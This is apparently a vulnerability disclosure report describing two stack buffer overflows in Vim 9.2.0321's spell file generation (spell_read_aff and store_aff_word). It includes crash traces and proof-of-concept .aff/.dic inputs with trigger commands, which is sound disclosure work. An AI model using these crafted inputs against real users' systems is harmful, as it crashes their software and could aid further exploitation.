Vim 9.2.0321 stack-buffer-overflows Vulnerability report

  • Severity: Medium
  • Affected Versions: Vim 9.2.0321

Overview

Attacker-controlled spell source files can trigger multiple stack-based buffer overflows in Vim’s spell file generation path during :mkspell. I confirmed two related vulnerabilities in spellfile.c: one in spell_read_aff() and one in store_aff_word(). Both are reachable from crafted .aff / .dic inputs, both involve attacker-controlled spell data being written into fixed-size stack buffers without sufficient bounds enforcement, and both can crash Vim in the tested environment. I have not verified exploitability beyond denial of service.

Vulnerability Type

  • CWE-121: Stack-Based Buffer Overflow

Details

I reproduced these issues on Vim 9.2.0321 while processing attacker-controlled spell source files through the :mkspell path.

1. stack-buffer-overflow in spell_read_aff()

The first issue occurs in spell_read_aff(), where attacker-controlled affix rule content is formatted with sprintf() into a fixed-size stack buffer.

Relevant locations:

  • spellfile.c:2736 — fixed-size stack buffer
  • spellfile.c:2742sprintf() write site
  • spellfile.c:6065mkspell() path reaching spell_read_aff()
  • spellfile.c:5464ex_mkspell() caller path

In the reproduced case, the .aff file declares SET ISO8859-1, while Vim is run with encoding=utf-8. This causes character-set conversion to increase the effective length of the attacker-controlled content before it is written into the vulnerable stack buffer.

AddressSanitizer reports a stack-buffer-overflow at the sprintf() write site. The ASan report also shows that the target stack object buf occupies offsets [1024, 1524), while the invalid write begins at offset 1524, confirming that the sprintf() output overruns the end of that fixed-size stack buffer.

Relevant crash excerpt:

1
2
3
4
5
6
7
8
9
10
==73524==ERROR: AddressSanitizer: stack-buffer-overflow on address ...
WRITE of size 980 at ...
#1 ... in sprintf ...
#2 ... in spell_read_aff .../spellfile.c:2742
#3 ... in mkspell .../spellfile.c:6065
#4 ... in ex_mkspell .../spellfile.c:5464
...
[1024, 1524) 'buf' (line 2736)
[1600, 2100) 'buf' (line 2789) <== Memory access at offset 1524 partially underflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow .../spellfile.c:2742 in spell_read_aff

2. stack-buffer-overflow in store_aff_word()

The second issue occurs in store_aff_word(), which also operates on attacker-controlled spell data during :mkspell.

Relevant locations:

  • spellfile.c:3834char_u newword[MAXWLEN]
  • spellfile.c:3909STRCAT(newword, p) in the prefix-handling path
  • spellfile.c:3925STRCAT(newword, ae->ae_add) in the suffix-handling path
  • spellfile.c:3673spell_read_dic() calling store_aff_word()
  • spellfile.c:6073mkspell() path reaching spell_read_dic()

In both concatenation paths, newword is first populated with truncated content via vim_strncpy(..., MAXWLEN - 1), and then a second attacker-controlled component is appended with STRCAT() without checking whether the final combined length still fits in MAXWLEN.

I reproduced the suffix-path variant with a crafted .aff and .dic pair. At a GDB breakpoint on spellfile.c:3925, the runtime values were:

  • strlen(newword) = 253
  • strlen(ae->ae_add) = 400

This confirms that the code reaches STRCAT(newword, ae->ae_add) with a 253-byte destination string and a 400-byte append string, which exceeds the MAXWLEN-sized stack buffer.

The runtime crash evidence also shows Program received signal SIGSEGV in store_aff_word() and a corrupted backtrace with repeated 0xc3bfc3bfc3bfc3bf values, consistent with attacker-controlled UTF-8-expanded bytes having smashed stack state after the unsafe concatenation.

Relevant GDB excerpts:

1
2
3
4
5
6
7
8
Breakpoint 1, store_aff_word (...) at spellfile.c:3925
3925 STRCAT(newword, ae->ae_add);
HIT_BREAKPOINT_3925
$1 = 253
$2 = 400
#0 store_aff_word (...) at spellfile.c:3925
#1 ... in spell_read_dic (...) at spellfile.c:3673
#2 ... in mkspell (...) at spellfile.c:6073
1
2
3
4
5
6
Program received signal SIGSEGV, Segmentation fault.
0x... in store_aff_word (...) at spellfile.c:3933
#0 store_aff_word (...) at spellfile.c:3933
#1 0xc3bfc3bfc3bfc3bf in ?? ()
#2 0xc3bfc3bfc3bfc3bf in ?? ()
...

Root-cause relationship

These two vulnerabilities are closely related:

  • both are in spellfile.c
  • both are reachable during :mkspell
  • both process attacker-controlled spell inputs from .aff / .dic
  • both become especially dangerous when character-set conversion expands the effective input length
  • both write attacker-influenced content into fixed-size stack buffers without validating the final combined length

For that reason, I am reporting them together as related stack-overflow vulnerabilities in the spell generation pipeline.

PoC

PoC 1 — spell_read_aff()

Create poc.aff:

1
2
3
SET ISO8859-1
SFX A Y 1
SFX A 0 s <491 bytes of 0xFF>

Create poc.dic:

1
2
1
word/A

Trigger command:

1
2
3
4
vim -Nu NONE -n -es -X \
-c 'set encoding=utf-8' \
-c 'mkspell! ./out ./poc' \
-c 'qa!'

Observed result:

  • Vim aborts with exit code 134
  • AddressSanitizer reports stack-buffer-overflow in spell_read_aff()

PoC 2 — store_aff_word()

Create poc_sfx.aff with a long attacker-controlled add-string and poc_sfx.dic with a long attacker-controlled word using the same affix flag. In the reproduced case, both inputs contain 200 bytes of 0xFF, the affix file declares SET ISO8859-1, and Vim is run with encoding=utf-8, causing both sides to expand before concatenation in store_aff_word().

Example structure:

1
2
3
4
5
6
7
8
poc_sfx.aff:
SET ISO8859-1
SFX A Y 1
SFX A 0 <200 bytes of 0xFF> .

poc_sfx.dic:
1
<200 bytes of 0xFF>/A

Reproduction command:

1
2
3
4
vim -Nu NONE -n -es -X \
-c 'set encoding=utf-8' \
-c 'mkspell! ./out ./poc_sfx' \
-c 'qa!'

Observed result in the reproduced environment:

  • mkspell exits with code 139
  • GDB shows Program received signal SIGSEGV
  • The crash occurs in store_aff_word()
  • At spellfile.c:3925, the runtime lengths reach strlen(newword) = 253 and strlen(ae->ae_add) = 400 before STRCAT(newword, ae->ae_add)

屏幕截图 2026-04-08 193208

Impact

These are stack-based buffer overflows (CWE-121) in Vim’s spell file generation pipeline during :mkspell.

In the tested environment:

  • spell_read_aff() is confirmed to trigger an AddressSanitizer-detected stack-buffer-overflow and a deterministic crash
  • store_aff_word() is confirmed to trigger a segmentation fault with runtime evidence showing unsafe concatenation beyond the bounds of newword[MAXWLEN]

The practical impact I have confirmed is denial of service when Vim processes attacker-controlled spell source files (.aff / .dic) through :mkspell. I have not verified exploitability beyond DoS.